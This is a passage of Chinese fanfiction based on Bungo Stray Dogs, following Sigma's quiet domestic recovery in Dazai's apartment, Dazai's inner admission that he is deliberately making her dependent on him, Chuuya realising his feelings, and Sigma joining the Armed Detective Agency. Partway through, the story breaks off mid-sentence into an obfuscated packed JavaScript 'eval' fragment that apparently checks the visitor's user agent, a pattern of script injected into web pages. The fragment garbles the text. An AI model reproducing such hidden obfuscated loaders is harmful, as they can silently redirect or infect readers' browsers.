西格玛大多只是点头或简短回应,目光却跟着他的动作,看着他把挑选好的物品一样样放入购物车。 新的洗漱用品、柔软的毛巾、新鲜的蔬菜、肉类、牛奶,还有那袋红润的苹果。 购物车渐渐满了起来,充满了生活琐碎又实在的气息。 太宰治的语气一直很平和,甚至算得上温和,聊的也都是眼前的东西或晚餐的打算,没有触及任何沉重的话题。 西格玛略显紧绷的神经,在这种日常的、充满烟火气的闲逛中,不知不觉松弛了一丝丝。 回到公寓,西格玛先将买回来的东西归类放好。 然后,她走进厨房,从冷藏袋里取出那几只装着母乳的瓶子,拧开盖子,将里面已经不再适宜储存的乳汁,静静倒入水槽。 乳白色的液体随着水流消失,她看着,脸上没什么表情,只是动作很轻,很仔细地将瓶子冲洗干净。 晚餐是简单的日式家常菜。 太宰治负责煮饭和主菜,西格玛主动接过了处理蔬菜的工作。 她站在料理台前,拿着刀,小心翼翼地将胡萝卜和洋葱切成均匀的块。手法不算熟练,但很认真。 太宰治没有打扰她,只是在她偶尔停顿时,用余光确认一下她的状态。 饭菜上桌,依旧是安静的进食时间。味道很好,温暖的食物落入胃里,带来实实在在的慰藉。 饭后,西格玛自觉地拿出了药片。太宰治已经为她倒好了一杯温度刚好的温水,放在她的手边。 她吃药的样子还是那么乖顺,接过去,吞下,然后双手捧着空杯,指尖感受着残留的暖意。 “晚上记得……”太宰治话没说完,但意思明确。 西格玛点了点头:“嗯,会用。” 指的是吸奶器。这是她身体现状带来的、无法回避的日常程序,带着一点不便和私密的不适,但必须完成。 西格玛转身走进卧室,轻轻关上门。 隔绝了客厅的光线与声响后,寂静笼罩下来。 她从袋子里取出消过毒的吸奶器组件,在床边坐下。 解开衣襟时,胸口传来的沉坠胀痛感让她微微蹙眉。 冰冷的触感最初令人瑟缩,但随着仪器规律的轻响启动,那种紧绷的、带着刺痛的充盈感被缓缓抽离,逐渐转化为一种近乎虚脱的轻松。 她闭上眼,感受着这具身体在履行完一项它自己“记得”的职能后,所呈现出的疲惫与释放。 完成后,又是两瓶接近300毫升的乳白色液体,在瓶壁内微微晃荡。 西格玛拿起它们,指尖能感受到微热的体温。 她走到厨房,打开冰箱,看着里面整齐摆放的食材和之前买好的牛奶。 她停顿了几秒,眼神落在空荡的冷冻层,似乎在思索什么。 最终,她没有选择倒掉,而是找出两个专用的母乳储存袋,小心地将瓶中的乳汁转移进去,封好口,贴上简单的日期标签,然后俯身,将它们并排放在冰箱冷冻室的最下层。 透明的袋子紧贴着冰冷的金属隔板,迅速蒙上了一层白霜。 太宰治不知何时已走了过来,倚在厨房门框边。 他看到了她蹲下的背影,看到了她手中那两个袋子,也看到了她拉开冷冻室、将它们小心翼翼放进去的动作。 他的目光在她专注的侧脸和那两袋迅速冻结的液体上停留了一瞬,鸢色的眼底有什么情绪极快地掠过,复杂难辨。 但他什么也没说,没有询问,也没有评论,只是在她关上冰箱门、直起身时,用一如既往平稳的语调开口:“浴缸的水已经放好了,温度应该刚好。你可以去洗个澡。” 西格玛蹲着关好冰箱,闻言愣了愣。她转头看向他,客厅温暖的灯光落在他身上,他的表情平静自然,仿佛刚才的一切都只是最寻常不过的家务流程。 她看着已经闭合的冰箱门,里面封存着源于她身体的、带着未来不确定性的馈赠。 西格玛收回视线,再次望向太宰治,声音很轻,却比之前多了些切实的波动:“……谢谢。” 太宰治只是微微颔首。 西格玛拿着准备好的睡衣走进浴室。水汽已经氤氲开来,温暖潮湿。 她将衣物一一褪去,放在一旁的衣篮上。 转身时,目光无意间落在墙面的镜子上。 朦胧的水雾中,映出她光洁的躯体轮廓。 腰腹平坦紧实,曾经那些深刻的伤口,如今连一丝疤痕都未曾留下,皮肤光滑得仿佛那些伤害从未发生过。 这具崭新的、完好的身体,有时会让她感到陌生。 西格玛抬起手,指尖轻轻按在左侧胸口,心跳的搏动透过温热的皮肤传来,平稳而有力。 她凝视着镜中自己平静无波的眼睛,片刻后,移开视线,踏进了已经注满热水的浴缸。 水温恰到好处地包裹住全身,驱散了从骨髓里透出的那一丝寒意。 西格玛慢慢清洗着身体,泡沫带着清淡的香气。 然后她沉入水中,只露出肩膀和头颈,静静地浸泡着。 暖意一丝丝渗入四肢百骸,让她有些发冷的手脚逐渐回暖,也让紧绷的神经一点点松弛下来。 西格玛怔怔地感受着这份被温水承托的安宁,直到水温开始变得微凉,皮肤泛起细小的颗粒,才撑着边缘站起身。 用柔软的浴巾擦干身体后,她换上了衣篮的那件奶白色睡裙。棉质面料细腻亲肤,裙摆垂到小腿。 带着一身湿润的水汽和淡淡的沐浴露香气,她拉开了浴室的门。 客厅的光线比浴室柔和。 太宰治正坐在沙发上翻阅一本薄册子,闻声抬起头。 走出来西格玛,脸颊被热气蒸出自然的红润,像初熟的桃子,嘴唇是湿润的樱桃色。 奶白色的睡裙贴合着身体起伏的曲线,勾勒出柔软的弧度,湿漉漉的长发披在肩头,发梢还在滴着细小的水珠。 他的目光在她身上停留了一瞬,平静地扫过,然后放下手中的册子,拿起了旁边已经插好电源的吹风机,示意她过来。 西格玛走过去,在他身旁的矮凳上坐下。 太宰治站在她身后,打开吹风机。 适中的暖风和他的手指一同没入她潮湿的发间。 他的动作耐心细致,指尖穿梭在发丝中,轻轻梳理,避免打结。 嗡嗡的风声成了此刻唯一的背景音。 他的视线自然而然地落在她暴露在空气中的后颈上,那片皮肤白皙细腻,因为刚沐浴过而透着淡淡的粉色,几缕未干的发丝粘在上面。 他就这样安静地吹着,她也安静地坐着,谁都没有说话,一种奇异的静谧与和谐在吹风机的声音中流淌。 头发吹至七八分干时,太宰治关掉了吹风机,嗡嗡声戛然而止,世界重归安静。 他将吹风机线缆绕好放回原处,又递给她一把宽齿梳。 西格玛接过,开始静静地梳理已经蓬松柔顺的长发。梳子顺畅地滑下,带走最后一点湿意。 一切收拾停当,西格玛站起身,习惯性地理了理身上柔软的睡裙裙摆。 夜色渐深。她走向卧室门口。手搭在冰凉的门把手上时,停顿了一下。 身后传来太宰治温和的声音:“晚安,西格玛。” 她回过头。客厅暖黄的灯光勾勒出太宰治站在沙发旁的修长轮廓,他脸上的表情在背光中看不太真切,但声音是清晰的,带着一天终结时特有的松弛。 西格玛握着门把的手指微微收紧,指尖感受到金属的凉意。 然后,她听见自己很轻、但足够清晰的声音回应道: “晚安,太宰先生。” 门轻轻关上,隔绝了客厅的光线与他的身影。 太宰治站在原地,听着门锁合拢的轻微“咔哒”声在寂静中格外分明。 又过了一会儿,他才几不可闻地、缓缓地呼出一口气。 他抬手揉了揉眉心,嘴角似乎弯了一下,又似乎没有。 最终,他也转身,走向了作为临时客房的房间。 公寓彻底安静下来,只有窗外偶尔传来的、遥远的车声,以及这片黑暗里,两个房间中,各自沉淀下来的、平缓的呼吸声。 —————— 日子像屋檐下滴落的雨水,规律而平静地向前。 西格玛身体里那股深层的疲惫逐渐褪去,取而代之的是一种更清晰的不安。 关于依赖,关于亏欠。 她开始尝试做些什么,笨拙地,却异常坚持。 最初只是收拾用过的餐具,仔细洗净擦干。 接着是整理略显凌乱的沙发毯,抚平每一处褶皱。 后来,她开始留意食材的消耗,在太宰治下班前,尝试准备一些简单的晚餐材料。 她的动作并不熟练,甚至有些小心翼翼的僵硬,却透着一种全神贯注的认真。 太宰治将这一切尽收眼底。 他看着那双纤细、曾经或许只执掌过赌局或承受过伤害的手,如今正拿起属于他的马克杯,用柔软的布巾里里外外地擦拭。 看着她将他随手搭在椅背上的沙色风衣拿起,轻轻掸去并不存在的灰尘,然后仔细挂进衣橱。 看着她站在料理台前,对着食谱蹙眉,然后小心地将蔬菜切成并不均匀的块。 一种隐秘的、近乎愉悦的满足感,如同细微的电流,在他心间悄然窜过。 这不仅仅是对整洁的欣赏。 而是一种标记,一种无声的宣告。 看着原本冷清空寂、只属于他临时栖息的角落,被她一点一点地触碰、经过、整理,留下她存在的痕迹。 叠放整齐的靠垫,洗漱台上立着的一蓝一粉一对牙刷,冰箱里按照她的习惯重新归类的食材…… 这片属于他的、尚且“空白”的领地,正被一种温和而无孔不入的气息悄然包裹。 这感觉奇异而陌生,带着某种不言而喻的归属意味,让他心底泛起一丝连自己都感到惊异的暖意和……沉迷。 但太宰治脸上依旧是那副漫不经心、略带倦怠的笑意。 有时甚至会调侃两句:“哦呀,西格玛今天把这里收拾得这么干净,我都要找不到我的钢笔了呢。” 或是,“汤的味道进步很大呢,下次可以试试少放一点盐。” 他的鼓励总是轻描淡写,却精准地落在她每一个微小的努力上,让她紧绷的肩膀微微放松,眼底那点不确定的微光变得踏实一些。 那是一个寻常的夜晚。 厨房里飘出淡淡的、混合着味醂与酱油的香气。 西格玛系着那条略显宽大的素色围裙,背对着他,正专注地看着锅里咕嘟冒泡的炖菜。 她的侧影在暖黄的灯光下显得格外柔和,几缕发丝从耳后滑落,随着她搅动汤勺的动作轻轻晃动。 “可以吃饭了。” 西格玛将盛好的米饭和炖菜端上小桌,声音里带着一丝不易察觉的紧张。 太宰治从善如流地坐下,拿起筷子,先夹了一块浸满汤汁的萝卜送入口中。 他细细咀嚼,然后鸢色的眼睛弯了起来,清晰地赞道:“嗯,味道很好。” 几乎是话音落下的同时,他注意到西格玛似乎一直屏着呼吸,直到听见他的评价,肩膀才几不可察地松懈下来。 然后,她才拿起自己的筷子,小口地开始吃饭。 这个细微的次序,等待他的评价,确认他的反应,然后自己才安心进食,像一颗小小的石子,投入太宰治的心湖,漾开一圈圈异样的涟漪。 一种极其陌生又异常鲜明的既视感击中了他。 这场景,这氛围,这无声的默契与期待……像极了那些世俗描绘中,最平凡也最亲密的关系开端。 新婚夫妻。 这个词语毫无预兆地跳进他的脑海,带着一种不合时宜的、近乎甜腻的温暖。 太宰治握着筷子的手微微一顿,随即笑意更深,不动声色地继续品尝着眼前的饭菜,仿佛真的只是一个对同居人厨艺感到满意的普通食客。 心里却有个声音在低低地笑,带着点自嘲,也带着点连自己都未曾预料到的沉迷。 不得了,他想,这感觉……真像啊。 像两个刚刚开始共同生活的人,带着一点试探,一点努力,一点想要让对方满意的笨拙心意。 而他,竟荒谬地在这虚构的日常里,品尝到了一丝真实的、令人心跳微乱的餍足。 太宰治笑眯眯地吃着,每一口都嚼得很慢,仿佛要将这短暂错觉的每一分滋味都拓印下来。 灯光,食物热气,对面安静进食的人,还有自己心中那丛无声燃烧的、晦暗而温暖的火焰。 这一切交织成一张细密的网,而他清醒地看着自己沉溺。 晚餐结束后,太宰治利落地起身,开始收拾碗碟。 “今天让我来洗吧,”他语气自然,带着一种不容置喙的温和,“你做饭已经很辛苦了。” 西格玛微微一愣,下意识地想伸手,却见他已经端着碗筷走进了厨房。水流声响起。 她在原地站了片刻,才慢慢跟过去,倚在厨房门边。 太宰治挽起了衬衫袖子,露出线条清晰的小臂,正熟练地冲洗着碗盘上的泡沫。他的动作不紧不慢,甚至有种与这份琐事格格不入的优雅。 看了一会儿,西格玛默默走到水槽另一边,拿起那双被他放在台面上的筷子,就着流动的温水,用手指细细地、一根一根地搓洗起来。 她的动作很轻,很慢,仿佛在做一件极其精细的工作。 两人之间隔着一个水槽的距离,没有交谈,只有水流声、碗碟轻微的碰撞声,以及她指尖摩挲过竹筷的细微声响。 灯光将他们靠近的身影投在墙上,偶尔交叠。 太宰治的余光能瞥见她低垂的睫毛和专注的侧脸,还有那双小心清洗着筷子的、不再显得那么无措的手。 她没有试图承担更多,只是安静地、固执地分担了这微小的一部分,像是在用这种方式确认自己存在的合理性,又像是一种无声的、笨拙的回应。 这细微的协作,比预想中更熨帖地融入了这个夜晚。 洗碗的活计很快完成,西格玛将擦得干干净净的筷子仔细放进筷笼,然后低声说了句“我去洗澡”,便转身离开了厨房。 等太宰治将厨房最后一点水渍擦干,走出客厅时,浴室的门已经关上,里面传来淅沥的水声。 空气里弥漫开湿润的暖意和一丝若有若无的、属于她的清甜香气。 他在沙发坐下,随手拿起一本书,却有些难以集中精神。 水声停了,过了一会儿,浴室门打开,西格玛带着一身蒸腾的热气走出来,发梢还滴着水,脸颊被熏得红扑扑的,像覆了一层柔光。 她没有立刻走开,而是站在浴室门口,用毛巾擦着头发,看向他,声音比平时更软:“洗澡水……我重新放好了,温度应该刚好。” 太宰治抬眼,对上她水润的眸子,心尖像是被那氤氲的热气轻轻烫了一下。他弯起眼睛:“啊,谢谢,真是周到呢。” 等他泡完澡出来,浑身松快,客厅里只亮着一盏落地灯。 西格玛已经吹干了头发,正抱着一小篮衣物。 “那个,”她抬眼看他,征求意见般说道,“我打算洗衣服……你把换下来的衣服给我吧?一起洗。” 她的语气里有种理所当然的体贴,仿佛这已是他们之间不言自明的惯例。 太宰治怔了怔,随即笑意漾开,从善如流地将自己替换下的衬衫和长裤递过去。 “真是帮大忙了,”他由衷地说,声音里带着沐浴后的松弛,“谢谢。” 西格玛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他看着她仔细抚平每一件衣物的褶皱,动作里有种生涩却认真的意味。 看着她略显吃力地将厚重的浴巾挂上更高的横杆,手臂绷出纤细的弧度。 看着她因为够不到最边缘的夹子而微微踮脚,指尖在渐浓的夜色里努力伸展,几缕半紫半白的发丝滑落颊边。 奶白色的睡裙裙摆随着动作轻轻晃动,小腿的线条在光里显得清晰又脆弱。 她身上还带着一点点洗衣液的清香,混合着阳光干燥的气息。 太宰治只是这样看着。 看那暖色的光如何在她发梢跳跃,看她低垂的眼睫如何在下眼睑投下小小的阴影,看她因专注而微微抿起的唇线。 然后,某个瞬间。 或许是当她终于挂好最后一件衣服,轻轻舒了口气,转过身,暮色将她整个人笼罩进一种近乎透明的宁静里时。 一个念头毫无预兆地、清晰地撞进太宰治的脑海,让他握着咖啡罐的手指几不可察地收紧。 好奇怪。 我竟然……第一次萌生想跟一个人一直这样生活在一起的想法。 不是短暂的收留,不是策略性的保护,甚至不是出于怜悯或责任。 而是那种能一直生活在同一个屋檐下,共享晨昏,共度四季。 就算日子平平淡淡,只是各自做着琐事,偶尔交谈,甚至只是安静地共处一室,也会从心底里感到……幸福。 一直。一个对他来说过于沉重、又过于虚幻的词。 一个他曾以为自己永远不会、也不配去构想与他人的关联方式。 但仅仅是想象那样的画面—— 下班回家推开门,能看到她在灯光下的身影。 清晨醒来,能听到厨房传来轻微的响动。 分享一日三餐,共度无数个如同此刻这般普通到不值一提的黄昏。 或是像现在这样,互不打扰,各自做着小事,却共享同一片空气和时光。 哪怕什么都不做,只是呆在一起,感受时间缓慢流淌。 仅仅是想象,心脏的某个角落,就像被温水漫过,泛起绵密而持久的酸胀感。 太宰治开始回想,回想西格玛带给他的、那些弥足珍贵的东西。 然后他清晰地发现。 只要想起与她一同生活的这段日子,那些细碎温暖的片段,就会让他忍不住,从心底泛起满足的笑意。 不得了。 这样下去,回想起来的画面,大概就只会剩下开心满足的笑了吧。 他无声地在心中低语,嘴角却似乎想扯出一个惯常的、略带自嘲的弧度,最终却只是归于一片更深的静默。 这样下去,会被这种平静腐蚀掉的。 会开始贪恋,会想要更多,会沉溺在她无意间构筑的、充满烟火气的温柔幻觉里,再也不愿醒来。 但是…… 他的目光,轻轻描摹着西格玛被暮色柔化的轮廓。 如果你能一直在我身边的话,好像……做什么都会变得很开心。 这个认知带着惊人的暖意,却也像一根冰冷的针,瞬间刺破了那层愉悦的泡沫。 太宰治垂下眼帘,长长的睫毛遮住了鸢色眸子里翻涌的暗色。 他知道的。 他知道现在是什么时候。是西格玛失去一切、根基全无、身心最为脆弱彷徨的时候。 像一只惊魂未定、折翼的鸟,只能落在他临时搭建的、看似坚固的枝头。 她的依赖,她的努力,她试图抓住的每一根稻草,都清晰可见。 而他,正在利用这一点。 用恰到好处的温柔,用无可挑剔的照顾,用这种令人沉溺的、名为“日常”和“家”的麻醉剂,一寸一寸,不容抗拒地,进入她的生活,她的习惯,她的……心里。 他清醒地计算着每一步,享受着这个过程带来的、扭曲的满足感。 看着她一点点卸下防备,一点点适应有他的存在,一点点将这里视为可以暂时栖息的巢穴。 这很卑鄙。 太宰治比任何人都清楚这一点。他从来不是什么光明磊落的好人。 善意的表象之下,是深谙人心弱点的冰冷内核,是为了达成目的不介意使用任何手段的自我认知。 此刻凝视她时心中涌动的柔软是真实的吗?或许是。 但这份“真实”背后,那不动声色引导局势、编织罗网的意志,同样真实,甚至更为本质。 他既贪恋这份由她无意间馈赠的、带有“家”之错觉的暖意,又冷静地将其视为一场精心策划的捕捉。 情感的萌芽与理智的谋算,如同双生藤蔓。 在他心底最晦暗的土壤里纠缠共生,彼此汲取养分,难分彼此。 他看到西格玛晾好他的衬衫,转过身,脸上带着一点劳动后的薄红。 目光触及他时,微微愣了一下,随即露出一个很浅、却不再那么空洞的笑容。 那笑容里有一丝完成琐事后的轻松,或许还有一点点被他注视的微小腼腆。 太宰治也立刻回以微笑,举了举手中的咖啡罐,语气轻松得无懈可击:“辛苦了。明天早上想吃什么?或许我可以帮忙打下手哦。” 声音温和,表情自然,仿佛刚才心中那场无声而激烈的波澜从未发生。 只有他自己知道,心底那一片刚刚被暮色和她的身影温暖过的角落,此刻正被更庞大、更复杂的阴影所笼罩。 他期盼着那“一直在一起”的虚幻可能,又嘲笑着这份期盼背后根植于自私与算计的虚伪。 他沉溺于她带来的点滴温暖,却又清醒地意识到,自己正试图将这份温暖,打造成一座她无法轻易离开的牢笼。 卑鄙,且甘之如饴。 —————— 中原中也利落地解决完“天人五衰”事件遗留在横滨地界的最后一点麻烦。 将试图借着残余混乱浑水摸鱼的几个小组织彻底清扫干净。 最后一个不安分的家伙被重力狠狠钉进墙体,沉闷的撞击声后,尘埃缓缓落定。 他抬手拍了拍黑色皮质手套,拂去并不存在的灰尘,紧绷的神经这才松快下来。 而那股盘旋心底、始终未能散去的细微躁动,此刻终于有了直面与探究的余裕。 中原中也几乎是第一时间就走向了港口□□下属的医疗部门。 一系列缜密的检查下来,结果很快出炉。 检查报告被中原中也捏在手里,纸张边缘因为无意识的用力而微微起皱。 白纸黑字,一切指标正常,连最细微的异常都没有。 中原中也站在医疗部门外的走廊上,窗外的横滨港在阳光下波光粼粼,暖光却丝毫照不进他此刻混乱不堪的脑海。 不是身体的问题。战斗没有留下暗伤,机能处于完美状态。 那到底是什么? 那种不受控的心跳加速,那种看到她与太宰治靠近时莫名窜起的烦躁,那种……忍不住去关注她一举一动的视线。 远远瞥见侦探社方向,想到某人可能正和太宰那家伙待在一起,就莫名窜起的烦躁…… 即使在处理最棘手的敌人时,也会有一瞬间的念头飘向某个安静苍白的侧影,忍不住去揣测她一举一动背后情绪的视线。 这份异样,陌生又恼人。 “中也君?” 优雅温和的女声从身后传来。中原中也一僵,迅速将报告折起塞进口袋,转过身:“红叶大姐。” 尾崎红叶款步走近,和服下摆迤逦,目光在他略显紧绷的脸上停留片刻,唇边噙着一丝了然的笑意:“刚从医疗部出来?脸色似乎有些困扰呢。任务不是已经圆满解决了吗?” “……没什么。”中原中也下意识否认,偏过头,帽檐投下的阴影试图遮住眼底那点不自然。 刚结束清剿,转头就来体检,这行为本身或许就透着反常。 “哦?”尾崎红叶指尖轻拢袖角,姿态从容不急不缓,“听人说,你前几日回来时,似乎……心神不宁?连执行任务时,都心不在焉,可是很少见。” 中原中也耳根又开始发热。他以为自己掩饰得很好。 “是任务出了什么意外吗?”尾崎红叶的语气依旧温和,却带着不容回避的洞察,“还是说……遇到了什么特别的人,或事?” 特别的人…… 西格玛的身影猝不及防地撞入脑海。苍白脆弱的面容,淡粉色的眼眸,那个浅得像随时会消散的笑容。 还有她被太宰治握住手腕时,自己心里那股莫名的……刺痛感。 中原中也的沉默和脸上闪过的不自然,已经是最好的答案。 尾崎红叶眼中笑意更深,她走近两步,声音压低了些,带着长辈般的关怀与一丝戏谑:“看来是后者了。能让我们中也君如此失措的‘特别’……不妨说给大姐听听?” 在尾崎红叶洞悉一切的目光下,中原中也那点强撑的镇定溃不成军。 他烦躁地抓了抓头发,帽檐下的蓝眸里写满了困惑与懊恼,最终还是磕磕绊绊地、极其简略地描述了那个“特别的人”。 并非任务目标,却莫名牵扯进来脆弱又安静,总是跟在太宰那混蛋旁边。 以及,自己那些完全不受控制的、乱七八糟的反应:心跳失序,烦躁不安,视线总是不由自主地追随,还有……那种希望她离太宰治远点的、毫无道理的念头。 甚至,在刚才清理残党时,某个瞬间的暴力宣泄,是否也掺杂了这份无处安放的烦躁? 他说得含糊其辞,避开了许多细节,但尾崎红叶是何等人物。 她静静听着,待他说完,才悠悠开口,语气带着一种尘埃落定的了然: “原来如此。” “这可不是身体出了问题,中也君。” 她微微倾身,看着年轻人骤然抬起、写满不解的蓝色眼睛,一字一句,清晰而柔和地吐出那个词: “你这是,春心萌动了呀。” 春……心……萌动? 四个字,像四颗小小的炸弹,在中原中也的脑海里接连炸开。 刹那间,所有的困惑、烦躁、不受控的心跳、莫名的关注、战斗间隙那片刻的闪神…… 那些散乱的碎片,被这条突如其来的线索猛地串联起来,拼凑出一个他从未设想过的、清晰无比的答案。 原来……这是喜欢吗? 不是任务评估,不是对弱者的同情,不是对太宰治所有物的竞争心,而是……喜欢。 “轰——!” 仿佛全身的血液瞬间涌上了头顶,中原中也的脸以肉眼可见的速度,从脖颈一路红到了发根,连耳朵尖都变成了鲜艳的红色。 他猛地睁大了眼睛,湛蓝的瞳孔里写满了难以置信的震惊和无处遁形的羞窘,张了张嘴,却连一个音节都发不出来。 尾崎红叶用宽大的振袖优雅地遮住了下半张脸,只露出一双弯成月牙的、盛满笑意的眼眸,眼尾细细的纹路都透着愉悦。 “哎呀呀,”她的声音里满是掩不住的笑意,看着眼前这个平日里叱咤风云、此刻却像个被戳破心事的毛头小子一样手足无措的青年,“我们的小中也,也到了这个时候了呢。” 中原中也僵在原地,脸上的热度丝毫没有减退的迹象,大脑一片空白,只剩下那四个字在反复回荡,震耳欲聋。 春心萌动。 喜欢。 他,中原中也,喜欢上了……西格玛。 这个认知带来的冲击,远比任何敌人的攻击都要猛烈,瞬间击碎了他平日的冷静与锋锐,只剩下滚烫的、手足无措的茫然。 而尾崎红叶那了然又带着祝福意味的笑容,更是让他恨不得立刻用重力在这走廊上开个洞钻进去。 中原中也有些茫然地站在原地,心底翻涌着从未有过的情绪。 我……喜欢她吗? 28. 加入 那篮衣服终于晾完,最后一件衬衫在晚风里轻轻摇晃。 西格玛转身,差点撞上不知何时已近在咫尺的太宰治。 她下意识后退了半步,手指不自觉地绞在了一起。 “太宰先生……”她轻声开口,目光却垂落在地上两人被拉长的影子上,仿佛从刚才那宁静的劳作中汲取了某种勇气,“我……不能一直这样麻烦你。” 太宰治眉梢几不可察地动了一下,脸上那副惯常的、略带倦怠的笑意却未变。 “哦?”他声音轻柔,像在询问一件无关紧要的小事。 “我想……找份工作。”西格玛抬起头,那双粉色的眼眸里闪烁着不安,却也有一丝坚定的微光,“任何工作都可以。我需要……能自己站稳。” 沉默了片刻。太宰治拿起手中的冰咖啡,终于“咔”地一声拉开拉环,仰头喝了一口,冰凉的液体滑过喉咙。 然后,他放下罐子,唇角弯起的弧度加深了些。 “不用叫我‘太宰先生’,”他语气轻快,带着点调侃,“叫我太宰就行。听着怪生分的。” 西格玛微微一怔。 而太宰治心里,那个清晰又自私的念头无声划过:我很乐意,你一直麻烦我。 但说出口的却是:“不过……既然西格玛有工作的意愿,这很好啊。” 他歪了歪头,鸢色的眼睛眨了眨,“刚好,侦探社那边似乎也有些文书工作一直缺人手……我可以帮你问问看。” 他的语气太自然,太随意,仿佛这只是一个临时起意的、微不足道的提议。 西格玛眼中闪过惊讶和一丝期冀,嘴唇动了动,最终只化作一句更轻的:“……谢谢。” “不必谢我哦,”太宰治笑着摆摆手,“成不成还得看乱步先生和社长的意思呢。” 他转身走回室内,留下西格玛独自站在阳台上,看着晾晒的衣物在渐起的夜风中轻轻摆动,心绪纷乱,却又因这渺小的希望而悄悄鼓动。 第二天,武装侦探社内。 太宰治以一种极其放松的姿态,半躺在会客室的沙发上,对着正专心致志拆开一袋新点心的江户川乱步,将西格玛的情况以“偶然提起”的方式说了出来。 他语调轻松,着重描述了她目前寻求独立、心思细腻且有一定的信息处理能力,对于她过去的背景和危险之处,则用模糊的措辞一带而过。 江户川乱步翠绿的眼睛从零食袋上抬起,瞥了太宰治一眼,那目光仿佛能穿透一切精心编织的言语。 “唔……”他塞了一块饼干进嘴里,含糊不清地说,“社长不会拒绝真正需要帮助、并且愿意做出改变的人……只要她能通过‘测试’。” 他特意在“测试”二字上稍稍加重,又看了太宰治一眼,随即重新将注意力放回点心,“反正,社里杂事也够多的。” 太宰治的笑容无懈可击:“那就麻烦乱步先生跟社长提一下了。” 一切如他预料般顺利。 或者说,武装侦探社的本质,福泽谕吉的原则,以及江户川乱步那看似随性实则精准的判断,共同促成了这个结果。 又过了几日,太宰治带着西格玛再次来到了武装侦探社,径直走进社长办公室。 室内光线明亮,陈设简洁,福泽谕吉端坐于办公桌后,银发一丝不苟,气势沉静如山。 江户川乱步则坐在一旁的窗台上,晃着腿,咔嚓咔嚓地吃着薯片,仿佛只是来看热闹。 西格玛显得有些紧张,背脊挺得笔直,站在太宰治身旁半步之后。 福泽谕吉的目光平静地扫过她,没有多余的寒暄,直截了当地开口:“关于你想要寻求工作的事情,我已经了解了。” 西格玛的心提了起来。 “武装侦探社,接纳那些行走在灰色边缘、却仍愿追寻光明之人,也愿意为愿意改变、并付诸努力的人提供一个起点。” 福泽谕吉的声音平稳而有力,“你的情况特殊,过去并非无关紧要,但更重要的是你此刻的选择和未来的道路。” 他停顿了一下,目光如炬。 “因此,决定如下:西格玛,将以‘编外协助人员’的身份暂时隶属武装侦探社。主要负责部分文书整理、情报初筛及内部后勤协助工作。此身份具有试用和观察性质,期间需遵守侦探社一切规定,接受必要的指导和评估。是否清楚?” 西格玛完全愣住了。 编外人员……武装侦探社……这不仅仅是一份工作,这是一个几乎不敢想象的、带有庇护性质的容身之所。 她以为最多只是某个不起眼的小差事,却没想到会是这样一个正式且……意义非凡的安排。 西格玛的目光下意识转向太宰治,他正微笑着看着她,轻轻点了点头,仿佛在说“看吧”。 她又看向福泽谕吉,社长先生的表情依旧严肃,但那双眼睛深处,似乎并无排斥,只有一种审视和给予机会的平静。 最后,她的视线掠过窗台上啃薯片的江户川乱步,那位名侦探冲她随意地摆了摆手,算是打了招呼。 一股汹涌的、混杂着震惊、感激、难以置信的暖流猛地冲上心头,堵住了喉咙。 她张了张嘴,却发现发不出像样的声音。 西格玛只能深深地低下头,双手在身侧紧握成拳,指甲陷进掌心,用那细微的刺痛来确认这不是梦境。 “……是。”她的声音带着一丝不易察觉的颤抖,但很快稳住,“我清楚了。谢谢……非常感谢。” 太宰治站在她侧后方,看着她低垂的、露出脆弱后颈的背影,看着她因用力紧握而微微发白的指节,眼中笑意更深,那笑意底下,是更为幽邃复杂的满足与盘算。 好了,这下子,连“工作”和“社会关系”的坐标,也落在他能清晰看见、甚至巧妙施加影响的范畴之内了。 江户川乱步翠绿的眼睛从西格玛身上移开,转而看向太宰治。 那目光里带着一种了然于心的透彻,仿佛早已看穿他笑容之下翻涌的复杂心绪。 不过名侦探什么也没说,只是咔嚓一声咬碎了嘴里的糖,随即从窗台上轻盈地跳下来。 他几步走到还有些发怔的西格玛面前,极其自然地牵起她的手。 这个动作让西格玛浑身微微一僵,连太宰治的目光也几不可察地闪烁了一下。 “好啦!社长这边说完了,接下来就该认识一下以后要一起共事的大家了!” 江户川乱步语气雀跃,仿佛在宣布一件极有趣的事,不由分说便拉着西格玛往办公室外走。 他回头对福泽谕吉挥了挥手,“社长,人我先借走啦!” 福泽谕吉看着被乱步牵着手、显得有些无措的西格玛,又瞥了一眼一旁笑容不变的太宰治,沉默地点了点头。 他了解自己的社员,乱步虽然孩子气,却并无坏心思,看来……他是挺喜欢这位西格玛小姐。 也好,有乱步的接纳,她融入这里或许会顺利些。 “那么,社长,我们也先告辞了。” 太宰治微笑着向福泽谕吉欠了欠身,也跟了上去,步伐不紧不慢。 他的目光落在前面被牵着走的西格玛身上,又扫过江户川乱步那毫无阴霾的背影。 侦探社的主要办公区比社长办公室要热闹随意得多。 江户川乱步像展示什么新奇的收藏一样,拉着西格玛走到正在擦拭医疗器械的与谢野晶子面前。 “这是与谢野医生!你见过的,超级厉害的外科医生哦!不过没事最好别躺上她的手术台——” 与谢野晶子放下手中的器械,对西格玛露出一个爽朗又带着几分玩味的笑:“又见面了,小姑娘。气色看起来好多了。在这里好好干,不过要记住社训——‘不畏风雨’,也要‘远离不必要的危险’。” 她意有所指地看了一眼后面跟上来的太宰治。 西格玛连忙鞠躬:“与谢野医生,您好。上次……非常感谢您。我会记住的。” 接着是正对着手册奋笔疾书的国木田独步。 “国木田独步!超级认真、什么都计划好的理想主义者!是侦探社不可或缺的支柱哦!” 江户川乱步介绍道。 国木田推了推眼镜,停下笔,严肃但还算温和地对西格玛点了点头:“西格玛小姐,欢迎。你的情况我大致了解。编外人员也需要遵守纪律,认真完成指派的工作。有任何不明白的,可以查阅《侦探社社员手册》或直接问我。” 他顿了顿,看了一眼她身后的太宰治,眉头微皱,补充道,“另外,建议你与某些散漫成性、不遵守计划的家伙保持适当距离,以免影响工作效率和个人风评。” 西格玛轻轻地点头:“是,国木田先生,您好。我会努力工作的。” “敦君!镜花酱!” 江户川乱步朝正在整理文件的中岛敦和安静地坐在一旁的泉镜花喊道。 中岛敦立刻放下手里的东西,脸上露出温暖的笑容:“西格玛小姐!太好了,你也加入武装侦探社!” 他由衷地为她感到高兴。 “敦君,好久不见。” 